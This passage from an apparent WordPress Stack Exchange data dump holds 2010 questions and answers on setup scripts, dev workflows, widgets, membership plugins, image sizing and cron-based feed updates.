one-column page template that removes the sidebar.&#xA;Author: the WordPress team&#xA;Version: 1.1&#xA;Tags: black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Deleting the &lt;em&gt;&quot;Hello World&quot;&lt;/em&gt; Post&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next we want to delete the &lt;em&gt;&quot;Hello World&quot;&lt;/em&gt; post. You may have seen that &lt;em&gt;@Rarst&lt;/em&gt; has shown us how to use the &lt;code&gt;wp_delete_post()&lt;/code&gt; function which is exactly what we need. As he explained the second parameter will fully delete the post as opposed to moving it to the trash and the first parameter is the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it would be nice to be able to specify &lt;a href=&quot;http://codex.wordpress.org/Glossary#Slug&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the slug&lt;/strong&gt;&lt;/a&gt; instead of the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; and so I decide to find a way to do that. After some spelunking I found that WordPress has an unfortunately named function called &lt;code&gt;get_page_by_path()&lt;/code&gt; which actually allows us to look up any post type by its slug &lt;em&gt;(it is unfortunately named because you might overlook it when trying to find something that works with post types other than &lt;code&gt;'page'&lt;/code&gt;.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we passing  &lt;code&gt;get_page_by_path()&lt;/code&gt; the WordPress-defined constant &lt;code&gt;OBJECT&lt;/code&gt; it will return to us a post in the form of an post object. For the third parameter we passed &lt;code&gt;'post'&lt;/code&gt; to indicate we wanted it to lookup post types of &lt;code&gt;'post'&lt;/code&gt;. Since &lt;code&gt;get_page_by_path()&lt;/code&gt; will return the post object we need or return &lt;code&gt;null&lt;/code&gt; if no post matches the slug we can check for existence and do a lookup at the same time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_page_by_path('hello-world',OBJECT,'post');&#xA;if ($post)&#xA;  wp_delete_post($post-&amp;gt;ID,true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; We could have run code to delete every post in the database but if we had we would not be able to run this code again once we've added the posts we want to keep and that was one of our design constraints.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Next...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'll keep adding to this as I figure it out until I'm done or until someone else helps out.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-13T08:26:19.953" LastActivityDate="2010-09-13T08:26:19.953" CommentCount="3" />
  <row Id="1716" PostTypeId="1" CreationDate="2010-09-13T03:47:41.223" Score="0" ViewCount="853" Body="&lt;p&gt;What is the best way to password protect individual photo galleries so individual users can log in and view their user specific photo gallery? &lt;/p&gt;&#xA;" OwnerUserId="752" LastActivityDate="2010-09-14T06:00:34.670" Title="Password protected photo galleries" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="1717" PostTypeId="1" CreationDate="2010-09-13T03:58:16.817" Score="2" ViewCount="136" Body="&lt;p&gt;I'm working with another team member and they are reside in a different US State. We are working to convert an existing static e-commerce site to a Wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a DEV install of Wordpress so that we both can access it easily. I'm going to do the majority of the coding. He will help with some HTML/CSS and a lot of data related work. Either manually entering in items or figure out some import method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the options that I've thought through and it makes sense to do Option 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Wordpress on my laptop&lt;/li&gt;&#xA;&lt;li&gt;Install DB on my laptop&lt;/li&gt;&#xA;&lt;li&gt;Configure my router to allow incoming HTTP requests and redirect them to my laptop&lt;/li&gt;&#xA;&lt;li&gt;When we want to deploy to PROD, follow steps to move code to server, dump the DB and import into DB on server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The downside of this is that if I turn my laptop off, or if something goes wrong with my cable modem, my partner won't be able to access Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Wordpress on server at the current domain in a subdirectory, ex: domain.com/wordpress&lt;/li&gt;&#xA;&lt;li&gt;Install DB on server&lt;/li&gt;&#xA;&lt;li&gt;Password protect the directory to stop someone or some bot that tries to go into the directory&lt;/li&gt;&#xA;&lt;li&gt;When we want to deploy, update index.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there other Options that could also work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version Control&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also need version control. I could put the install under SVN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do people version control databases with the code.  Ideally they both should be in sync.&lt;/p&gt;&#xA;" OwnerUserId="448" LastActivityDate="2010-09-14T22:35:34.463" Title="How to best setup for development for a two person bi-coastal team?" Tags="&lt;development&gt;" AnswerCount="4" />
  <row Id="1718" PostTypeId="1" AcceptedAnswerId="1723" CreationDate="2010-09-13T04:15:21.840" Score="0" ViewCount="112" Body="&lt;p&gt;in the book professional wordpress, they use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'classname' =&amp;gt; 'pp_widget',&#xA;    'description' =&amp;gt; '...'&#xA;);&#xA;$this-&amp;gt;WP_Widget('pp_widget', ..., $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in most tutorials &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;WP_Widget(false, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is used. i wonder is there a reason to specify the &lt;code&gt;$id_base&lt;/code&gt; param? i see that if i dont, an &lt;code&gt;id&lt;/code&gt; will be generated. also, is there any need to specify the &lt;code&gt;classname&lt;/code&gt; option? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;on a side note, i asked a related question on stack overflow: &lt;a href=&quot;http://stackoverflow.com/questions/3697730/php-parentsomefunction-or-this-somefunction&quot;&gt;PHP: &lt;code&gt;parent::somefunction&lt;/code&gt; or &lt;code&gt;$this-&amp;gt;somefunction&lt;/code&gt;&lt;/a&gt; if someone got an answer let me know :)&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-09-13T06:43:12.613" Title="Widget constructor: about $id_base and $options" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="1719" PostTypeId="2" ParentId="1716" CreationDate="2010-09-13T05:25:58.093" Score="1" ViewCount="" Body="&lt;p&gt;These plugins are nice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-members/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/member-access/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/member-access/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members-only/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members-only/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/membership/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/membership/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2010-09-14T06:00:34.670" LastActivityDate="2010-09-14T06:00:34.670" CommentCount="1" />
  <row Id="1720" PostTypeId="1" CreationDate="2010-09-13T05:46:06.927" Score="1" ViewCount="179" Body="&lt;p&gt;I mean that if I want to publish news feeds ,blog updates like &lt;a href=&quot;http://bloglines.com&quot; rel=&quot;nofollow&quot;&gt;bloglines&lt;/a&gt; and &lt;a href=&quot;http://techmeme.com/&quot; rel=&quot;nofollow&quot;&gt;techmeme&lt;/a&gt; . I and my users should have possibility to add RSS entries and the feeds should be published .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I am using &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;feedwordpress&lt;/a&gt; .But here it is grabbing the blog authors emails and creating the accounts on my site for them .For example If I add readandwriteweb's feed .Every time when the authors puclish a post on that site . That plugin is creating accounts for them.And this plugin allows only blog admin to add RSS entries .I wanted to allow the registered users to add RSS entries .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody implemented such aggregation functionality or created such aggregator using wordpress ? Could any one help me &#xA;        Thanks !&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2011-01-12T05:14:35.313" LastActivityDate="2011-03-13T04:32:23.477" Title="What Plugin Do You Use to Turn WordPress based site to A Blog Aggregator" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="1721" PostTypeId="2" ParentId="1507" CreationDate="2010-09-13T06:25:13.403" Score="5" ViewCount="" Body="&lt;p&gt;One bit that is often missed - delete &lt;code&gt;readme.html&lt;/code&gt; in WordPress root. It not only identifies installation as WP but also has precise version. And don't forget to repeat on updates.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T06:25:13.403" />
  <row Id="1722" PostTypeId="2" ParentId="1717" CreationDate="2010-09-13T06:31:51.750" Score="2" ViewCount="" Body="&lt;p&gt;I would go for Option 2, except that I don't think simply flipping development to production is a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Map something like &lt;code&gt;beta.domain.com&lt;/code&gt; (if you can) with separate database and work with stuff there. When done - transfer files and database to production site.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T06:31:51.750" CommentCount="1" />
  <row Id="1723" PostTypeId="2" ParentId="1718" CreationDate="2010-09-13T06:43:12.613" Score="1" ViewCount="" Body="&lt;p&gt;The reason is simply customization (these values end up in widget's HTML markup). If someone needs to change this stuff (for example to be compatible with some script without adding wrapper layers) the option is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for methods calling - &lt;code&gt;parent::&lt;/code&gt; explicitly calls method from parent class, &lt;code&gt;$this-&amp;gt;&lt;/code&gt; calls method from current class. Since widgets do not redefine WP_Widget method there is no practical difference.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T06:43:12.613" CommentCount="1" />
  <row Id="1724" PostTypeId="2" ParentId="1714" CreationDate="2010-09-13T07:25:59.437" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Delete Hello Post (with comment)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_delete_post( 1, true );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Straight from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_delete_post()&lt;/code&gt;&lt;/a&gt; docs. Second parameter nukes it completely, instead of moving to trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create menus&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This creates new menu and adds all existing pages as items to it. I am not sure it is entirely correct, I was unable to get menu items to show &lt;code&gt;Page&lt;/code&gt; label among other things. Anyway my brain is melting so I am taking a break. Maybe someone will be able to upgrade this to something more reliable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = wp_create_nav_menu( 'Pages' );&#xA;$menu = wp_get_nav_menu_object( 'Pages' );&#xA;$pages = get_pages();&#xA;&#xA;foreach( $pages as $page ) {&#xA;&#xA;$item = array(&#xA;'menu-item-db-id' =&amp;gt; 0,&#xA;'menu-item-object-id' =&amp;gt; $page-&amp;gt;ID,&#xA;'menu-item-type' =&amp;gt; 'post_type',&#xA;'menu-item-status' =&amp;gt; 'publish'&#xA;);&#xA;&#xA;wp_update_nav_menu_item( $menu-&amp;gt;term_id, 0, $item );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-13T11:04:00.907" LastActivityDate="2010-09-13T11:04:00.907" CommentCount="8" />
  <row Id="1725" PostTypeId="2" ParentId="1717" CreationDate="2010-09-13T07:34:26.810" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@milesmeow&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you should &lt;strong&gt;go with option #3&lt;/strong&gt;; either of the two other options will lead to heartache in my experience. You'll end overwriting each other's changes and other issues.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Option #3&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You both set up local developments environments and you use a Subversion repository to keep things in sync.&lt;/strong&gt; I use a free account at &lt;a href=&quot;http://www.unfuddle.com&quot; rel=&quot;nofollow&quot;&gt;Unfuddle&lt;/a&gt; with gives you two logins and subversion  repositories as well as a ticketing system and task and milestone tracking. Unfuddle works well for me but of course there are many other options, Unfuddle is just the one I know that works well for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As for the database&lt;/strong&gt;, it's very hard to manage databases in source control. What you really have to do is write scripts that rebuild your database from scratch and then version them. Ironically I'm working on exactly that for tomorrow and I asked a question here in hopes to get someone to help me but instead it looks like I'm doing it all myself so I am documenting what I'm getting done in an answer. You can read about it here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1714/initialization-script-for-standard-aspects-of-a-wordpress-website/1715#1715&quot;&gt;&lt;strong&gt;Initialization Script for “Standard” Aspects of a WordPress Website?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While the above question/answer talks about initializing a new database using standard aspects you could actually do the same with existing data, it would just be more work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus far in my development I've always been able to simply do a &lt;a href=&quot;http://www.yourdictionary.com/computer/forklift-upgrade&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;forklift upgrade&lt;/strong&gt;&lt;/a&gt; of the database but I'm getting to the point I'll need to manage existing data. So it looks like over time I will be building tools to export data to scripts and/or files where I can easily merge new work with current data. Sounds like you need the same. Hopefully others will come along and we can all handle a piece of this problem; as they say: &lt;em&gt;&quot;Many hands makes for light work.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly my answer is not simple regarding the database but as far as I'm aware this has always been an issue for deployment of database-related systems and scripts that you can test and submit to version control are really the only known way to handle it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-13T07:34:26.810" CommentCount="1" />
  <row Id="1727" PostTypeId="1" AcceptedAnswerId="1729" CreationDate="2010-09-13T09:14:33.453" Score="0" ViewCount="145" Body="&lt;p&gt;I have a post here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.food101.co.il/?p=5993&quot; rel=&quot;nofollow&quot;&gt;http://www.food101.co.il/?p=5993&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the image is overlapping the sidebar.  I wish to shrink the image, but I want something that will do this without me editing the post (why? because the author is not me - and I want an automated system)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or a CSS solution that can do this? (as cross browser as possible?)&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-02-10T21:00:04.197" Title="How to limit image size for the entire website ? But without editing the post (css/plugin?!)" Tags="&lt;plugins&gt;&lt;css&gt;&lt;image&gt;&lt;image-size&gt;" AnswerCount="3" />
  <row Id="1728" PostTypeId="1" AcceptedAnswerId="1731" CreationDate="2010-09-13T09:51:52.957" Score="1" ViewCount="46" Body="&lt;p&gt;How do we edit and remove link backs to theme Developers from theme settings page ? Some themes which we install on site has link backs .How do you edit them from multisites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any body have Idea on removing these links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to edit the Links Like &quot;Mystique 2.4.2 by &lt;a href=&quot;http://digitalnature.ro/&quot; rel=&quot;nofollow&quot;&gt;digitalnature&lt;/a&gt;&quot; .&lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2010-09-13T10:08:52.620" Title="How do you remove Link backs on Theme settings page?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="1729" PostTypeId="2" ParentId="1727" CreationDate="2010-09-13T09:53:43.643" Score="2" ViewCount="" Body="&lt;p&gt;Quick fix via CSS would be using &lt;a href=&quot;http://www.w3schools.com/css/pr_dim_max-width.asp&quot; rel=&quot;nofollow&quot;&gt;max-width property&lt;/a&gt; to style images inside posts. Unfortunately it is very unreliable in Internet Explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.entry img { max-width:500px !important; }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in your specific case image has size defined with inline style and it interferes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin method would involve scanning and changing posts content on the fly, which would probably bring in performance issues, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion it is better to fix such things consistently on content level. If you have no authority to edit posts show the issue to person who has.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T09:53:43.643" CommentCount="2" />
  <row Id="1730" PostTypeId="2" ParentId="1717" CreationDate="2010-09-13T10:05:54.257" Score="0" ViewCount="" Body="&lt;p&gt;Definitely option 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just a word on source control, would GIT not be more useful with it's better handling of branching?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-13T10:05:54.257" />
  <row Id="1731" PostTypeId="2" ParentId="1728" CreationDate="2010-09-13T10:08:52.620" Score="2" ViewCount="" Body="&lt;p&gt;Basic idea is to search theme files for text of the link and remove code that inserts it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Best case scenario it would be single line to remove.&lt;/li&gt;&#xA;&lt;li&gt;Worst case scenario - link would be added by highly obfuscated code and rigged to break theme if link is removed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since theme you referenced is in official theme repository it would be unlikely to have obfuscated code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T10:08:52.620" />
  <row Id="1732" PostTypeId="1" AcceptedAnswerId="1735" CreationDate="2010-09-13T10:11:39.970" Score="4" ViewCount="78" Body="&lt;p&gt;One of the things that attracted me to the WordPress platform was the plugin API and large selection, but more recently I have been self developing before looking for plugins, only using plugins for things that I don't feel I would be able to complete on time and in budget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what do you do when you need functionality? Do you first think how you can do it yourself, or do you dive into the plugin repo straight away, the 'never reinvent the wheel' mentality? I think both have valid arguments. &lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-13T18:55:30.130" Title="Self Develop or Plugin as first option?" Tags="&lt;plugins&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="0" />
  <row Id="1733" PostTypeId="1" AcceptedAnswerId="4132" CreationDate="2010-09-13T10:18:33.767" Score="12" ViewCount="1482" Body="&lt;p&gt;Is there a way to let my users define the crop area of a post thumbnail? The thumbnails always are existing post attachments, I would rather not create an extra attachment per thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post thumbnails should be 200x100 pixels, and come from one of the images used in the post. So in my ideal world, when you click the &quot;Set Featured Image&quot; link, you get an overview of the already included images, and when you click one of these, you can define the crop area yourself (moving or resizing it, but keeping the 2x1 aspect ratio). When you click &quot;OK&quot;, the new post thumbnail is saved with the original attachment (in the &lt;code&gt;_wp_attachment_metadata['sizes']['post-thumbnail']&lt;/code&gt; metadata field for example), not as a new attachment. Using an image that is already used as a post thumbnail for another post should not be allowed, or at least give a warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the included image editor will not suit my needs, since you can choose to edit all versions of the image, or the regular thumbnail, but not only the post thumbnail. I also find it a bit confusing to know what versions I am editing, so I think my users will have even more trouble with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that does what I want, or that I can easily extend to my needs?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update: Example UI&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I really like the interface of the Mac OS X Address Book image picker: you select an image, and resize a fixed ratio thumbnail cropper via a slider. You can also drag the base image around. You can expand this idea to multiple image sizes (I have a &lt;code&gt;post-thumbnail&lt;/code&gt; and &lt;code&gt;post-thumbnail-1/2&lt;/code&gt; that's half that size, for example). Let the user select the sizes (s)he is editing now with checkboxes, and draw the appropriate crop rectangles on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/e5KiS.png&quot; alt=&quot;The Address Book image cropper in action&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-10T14:49:34.860" LastActivityDate="2011-02-21T12:55:09.760" Title="User-friendly cropping of post thumbnails?" Tags="&lt;plugin-recommendation&gt;&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="8" CommentCount="10" FavoriteCount="12" />
  <row Id="1734" PostTypeId="1" AcceptedAnswerId="1737" CreationDate="2010-09-13T10:21:31.910" Score="1" ViewCount="78" Body="&lt;p&gt;is there a list of plugins that are in use on WordPress.com somewhere? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be very interesting to see how they have implemented specific widgets and functionality.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-09-13T10:32:58.270" Title="What plugins are in use on wordpress.com" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1735" PostTypeId="2" ParentId="1732" CreationDate="2010-09-13T10:26:45.723" Score="4" ViewCount="" Body="&lt;p&gt;There are several things I consider when making such choice (in no particular order):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;does task involve general functionality (plugin) or processing my specific content (develop)&lt;/li&gt;&#xA;&lt;li&gt;is there &lt;strong&gt;the&lt;/strong&gt; plugin for the task from known developer and well-maintained (plugin) or there is fractured field of numerous plugins (develop)&lt;/li&gt;&#xA;&lt;li&gt;do I want full range of related functionality (plugin) or single specific tweak (develop)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general I will always do at least quick search through plugins to assess how likely it is to get task done with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no rule of a thumb here. I both use plugins for tasks that can be easily coded (for example page titles) and coded from scratch some really beaten things (for example anti-spam protection).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T10:26:45.723" CommentCount="2" />
  <row Id="1736" PostTypeId="1" AcceptedAnswerId="8045" CreationDate="2010-09-13T10:32:20.780" Score="3" ViewCount="679" Body="&lt;p&gt;We use wordpress like a CMS and would very much like to allow users to have a &quot;homepage&quot;. Ideally they'd be prevented from mucking up the whole site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to limit users editing rights to a single page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using the &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt; to do other permission-based stuff, so it'd be great if a solution could either neatly augment this, or replace it entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus points for automatic creation of a homepage when a new user is created.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATES: I should clarify that these pages need to be confined to a specific area of the site (i.e. all children of the same page). Also, after speaking to some users it seems that they'd find it useful to create sub-pages branching from their home page.&lt;/p&gt;&#xA;" OwnerUserId="562" LastEditorUserId="562" LastEditorDisplayName="" LastEditDate="2011-01-30T12:06:56.653" LastActivityDate="2011-02-04T05:00:08.817" Title="Is there a way (plugin?) to restrict a user to being able to edit just one page?" Tags="&lt;plugins&gt;&lt;users&gt;&lt;page&gt;&lt;permissions&gt;" AnswerCount="7" FavoriteCount="2" />
  <row Id="1737" PostTypeId="2" ParentId="1734" CreationDate="2010-09-13T10:32:58.270" Score="2" ViewCount="" Body="&lt;p&gt;Not an easy question to answer. That stuff is mostly private and they seem to use greatly modified versions of some public plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/wordpresscom&quot; rel=&quot;nofollow&quot;&gt;wordpresscom&lt;/a&gt; tag in repository has several.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this topic for more ideas and places to check &lt;a href=&quot;http://www.wptavern.com/forum/plugins-hacks/1777-list-plugins-used-wordpress-com.html&quot; rel=&quot;nofollow&quot;&gt;List of plugins used on WordPress.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T10:32:58.270" CommentCount="2" />
  <row Id="1738" PostTypeId="1" AcceptedAnswerId="1740" CreationDate="2010-09-13T10:38:21.320" Score="6" ViewCount="158" Body="&lt;p&gt;How do you add Read more ...link to a particular post or to all posts in a blog ? &lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-09-13T10:52:23.997" LastActivityDate="2010-09-13T11:39:26.560" Title="How do you add Read more ... link to posts?" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="1739" PostTypeId="1" AcceptedAnswerId="1741" CreationDate="2010-09-13T11:03:11.957" Score="1" ViewCount="91" Body="&lt;p&gt;I am having a doubt about using &quot;Cron Job&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed a Plugin named FeedWordpress which lets us to publish RSS feeds .It has given me an option to publish automatically or to publish by setting cron Jobs .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any one guide me to set these Cron Job? I have no Idea on it .This is the message it given for that configuration .&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to use a cron job, you can&#xA;  perform scheduled updates by sending&#xA;  regularly-scheduled requests to&#xA;  &lt;a href=&quot;http://......?update_feedwordpress=1&quot; rel=&quot;nofollow&quot;&gt;http://......?update_feedwordpress=1&lt;/a&gt;&#xA;  For example, inserting the following&#xA;  line in your crontab:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;*/10 * * * * /usr/bin/curl --silent &lt;a href=&quot;http://......?update_feedwordpress=1&quot; rel=&quot;nofollow&quot;&gt;http://......?update_feedwordpress=1&lt;/a&gt;&#xA;  will check in every 10 minutes and&#xA;  check for updates on any feeds that&#xA;  are ready to be polled for updates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have another doubt .Is there any possibility to slow down and affects the load (It is of shared hosting ) ,if I turn on the Automatic Updates of feeds?How does it helps me If I use cron Job and put a cetain limit? So that it affects the server load only when It updates the feeds .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any chance to suspend my hosting account by Host If I  Make my Blog as Aggregator  because of high loads?&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-09-13T11:12:23.533" LastActivityDate="2010-09-13T11:31:05.173" Title="Help needed to make my site as Aggregator" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="1740" PostTypeId="2" ParentId="1738" CreationDate="2010-09-13T11:24:04.623" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;Read more&lt;/code&gt; links usually appear under following conditions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Template uses &lt;code&gt;the_content()&lt;/code&gt; function for display.&lt;/li&gt;&#xA;&lt;li&gt;Post has &lt;code&gt;&amp;lt;--more--&amp;gt;&lt;/code&gt; tag in content, which creates &lt;code&gt;teaser&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result is &lt;code&gt;teaser&lt;/code&gt;, followed by &lt;code&gt;read more&lt;/code&gt; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes such links are created artificially by appending them to output of &lt;code&gt;the_excerpt()&lt;/code&gt; function in template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to precisely answer your question - it depends on your template tags and how you use &lt;code&gt;excerpts&lt;/code&gt; and/or 